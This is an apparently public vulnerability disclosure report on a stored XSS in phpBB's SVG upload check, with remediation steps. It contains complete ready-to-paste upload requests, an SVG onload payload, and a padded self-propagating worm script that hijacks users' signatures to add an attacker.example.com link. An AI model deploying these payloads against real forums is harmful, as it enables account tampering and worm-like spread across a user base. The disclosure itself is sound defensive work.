HexBrain

phpBB · Report #3606773

Stored XSS via SVG Upload — check_content() Blocklist Bypass & 256-Byte Scan Limit (Self-Propagating Worm)

Validstatus
mediumseverity
55upvotes
30 Jul 2026disclosed

How it was found

Title

Stored XSS via SVG Upload — check_content() Blocklist Bypass & 256-Byte Scan Limit (Self-Propagating Worm)


Description

Tested Version: phpBB 4.0.0-a2-dev (Docker, latest master branch as of March 2026)

phpBB implements a content-scanning check (phpbb\files\filespec_storage::check_content()) to prevent upload of malicious files. Two critical, independently exploitable flaws exist:

Flaw 1 — Incomplete Blocklist (phpbb/files/upload.php, line 29): The $disallowed_content array does not include SVG-specific XSS vectors:

protected $disallowed_content = array('body', 'head', 'html', 'img', 'plaintext', 'a href', 'pre', 'script', 'table', 'title');

Tags such as <svg onload=""> and <animate onbegin=""> are absent, so a valid SVG with an onload event passes the check and is stored on disk.

Flaw 2 — 256-Byte Read Limit (phpbb/files/filespec_storage.php, line 364):

$ie_mime_relevant = fread($fp, 256); // Only first 256 bytes are scanned

Padding any payload (including explicitly blocked tags like <script>) beyond the 256-byte boundary completely bypasses validation.

Delivery Vector — Inline SVG Serving (phpbb/storage/controller/attachment.php): Uploaded SVG files are served with Content-Disposition: inline and Content-Type: image/svg+xml, causing the browser to render and execute embedded JavaScript when the attachment link is clicked.

Non-Default Configuration Note: .svg is not in phpBB's default allowed extensions list. An administrator must explicitly permit it. Additionally, SVG must be assigned to a non-image extension group (e.g., "Documents") — assigning it to "Images" causes getImageSize() to reject it silently.


Reproduction Steps

Setup (Docker — quickstart for triager)

docker compose up -d

Install phpBB at http://localhost:8080/install, then in ACP → Extensions → Manage: add svg extension, assign to a new group "SVG Files", set "Display Inline" = No.


Part 1: Basic XSS Proof (Burp Suite Bypass)

The client-side plupload restricts .svg uploads in the browser. We bypass it by intercepting the upload request with Burp Suite.

Step-by-step:

  1. Log in as any registered user.
  2. Start a New Topic, add the provided xss_onload.jpg (dummy file) via the Attachments panel.
  3. Enable Burp Suite Intercept and click "Add the file".
  4. Replace the intercepted request body with the following complete request (substituting your own live Cookie, form_token, and creation_time values from the original intercepted request):
POST /posting.php?mode=post&f=2 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFFEaAfSerpQAkd4Q
x-phpbb-using-plupload: 1
x-requested-with: XMLHttpRequest
Cookie: ***********************************
Connection: keep-alive

------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="name"

dummy.jpg
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="chunk"

0
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="chunks"

1
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="add_file"

Add the file
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="creation_time"

YOUR_CREATION_TIME_HERE
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="form_token"

YOUR_FORM_TOKEN_HERE
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="real_filename"

xss_onload.svg
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="fileupload"; filename="xss_onload.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS execution on: ' + document.domain)">
  <rect width="200" height="200" fill="#00ff00"/>
  <text x="10" y="100" fill="black" font-size="14">SVG XSS PoC</text>
</svg>

------WebKitFormBoundaryFFEaAfSerpQAkd4Q--
  1. Click Forward and turn Intercept OFF.
  2. Back in the browser, write any topic title and click Submit.
  3. View the published post and click the xss_onload.svg attachment link.
  4. Result: alert('XSS execution on: localhost:8080') fires in the browser.

Part 2: Weaponized XSS Worm (Self-Propagating)

Uses the same Burp bypass but with the xss-worm.svg payload, which silently mutates the victim's profile using their own authenticated session.

Complete ready-to-paste request (substitute your session values):

POST /posting.php?mode=post&f=2 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF4vyqZURwpTrUxKo
x-phpbb-using-plupload: 1
x-requested-with: XMLHttpRequest
Cookie: ***************************************
Connection: keep-alive

------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="name"

dummy.jpg
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="chunk"

0
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="chunks"

1
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="add_file"

Add the file
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="creation_time"

YOUR_CREATION_TIME_HERE
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="form_token"

YOUR_FORM_TOKEN_HERE
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="real_filename"

xss-worm.svg
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="fileupload"; filename="xss-worm.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!-- PADDING BYPASS: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
<svg xmlns="http://www.w3.org/2000/svg" onload="init()">
  <script><![CDATA[
    function init() {
      fetch('/ucp.php?i=ucp_profile&mode=signature')
        .then(r => r.text())
        .then(html => {
          let ft = html.match(/name="form_token"\s+value="([^"]+)"/);
          let ct = html.match(/name="creation_time"\s+value="([^"]+)"/);
          if (ft && ct) {
            let d = new URLSearchParams();
            d.append('signature', '[url=http://attacker.example.com]Infected by XSS Worm![/url]');
            d.append('submit', 'Submit');
            d.append('creation_time', ct[1]);
            d.append('form_token', ft[1]);
            fetch('/ucp.php?i=ucp_profile&mode=signature', {
              method: 'POST',
              headers: {'Content-Type': 'application/x-www-form-urlencoded'},
              body: d.toString()
            }).then(() => alert('XSS Worm: Signature hijacked!'));
          }
        });
    }
  ]]></script>
</svg>

------WebKitFormBoundaryF4vyqZURwpTrUxKo--

Attack flow:

  1. Upload xss-worm.svg as attacker user (hacker).
  2. Log in as a different user (admin) in a separate browser session (incognito).
  3. Navigate to the post and click the xss-worm.svg attachment link.
  4. Observed result: Alert fires: "XSS Worm: Signature hijacked!"
  5. Navigate to UCP → Profile → Edit Signature.
  6. Observed result: Admin's signature now reads [url=http://attacker.example.com]Infected by XSS Worm![/url] — set silently without any additional interaction.

Part 3: Backend Flaw Proof (No Browser Required)

php poc-svg-xss.php

Output proves check_content() accepts <svg onload>, <animate onbegin>, and bypasses the 256-byte limit for <script> tags.


Attachments

FilePurpose
docker-compose.ymlOne-command environment setup for triager
poc-svg-xss.phpStandalone PHP script proving check_content() bypasses
xss_onload.svgMinimal SVG payload — blocklist bypass (onload)
xss-worm.svgVerified weaponized self-propagating worm payload
xss_onload.jpgDummy JPG file used for Burp Suite bypass (rename trick)

Remediation

  1. Remove 256-byte limit: Scan the full file, not just the first 256 bytes.
  2. Expand blocklist: Add svg, animate, set, foreignObject, use, onload, onbegin to $disallowed_content.
  3. Force Content-Disposition: attachment for SVG: Never serve SVG files inline — force a download instead of browser rendering.

Impact

**Stored XSS — Self-Propagating Signature Worm **

Honest Limitations:

  • HttpOnly cookies prevent document.cookie extraction.
  • The cur_password field is required to change account credentials via UCP, preventing blind AJAX-based credential takeover.

Actual Impact : The XSS fires in the victim's same-origin browser context, allowing the attacker's JS to silently make authenticated requests to any UCP endpoint that does not require cur_password. The Signature endpoint (/ucp.php?i=ucp_profile&mode=signature) is fully writable with CSRF tokens alone.

By changing the victim's Signature, every post they have ever made is instantly updated to embed the attacker's payload link. Any user who views a thread containing the victim's posts is exposed to the payload, which can in turn infect their signature. This creates an exponentially self-propagating XSS worm capable of compromising the entire forum userbase from a single infected post.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original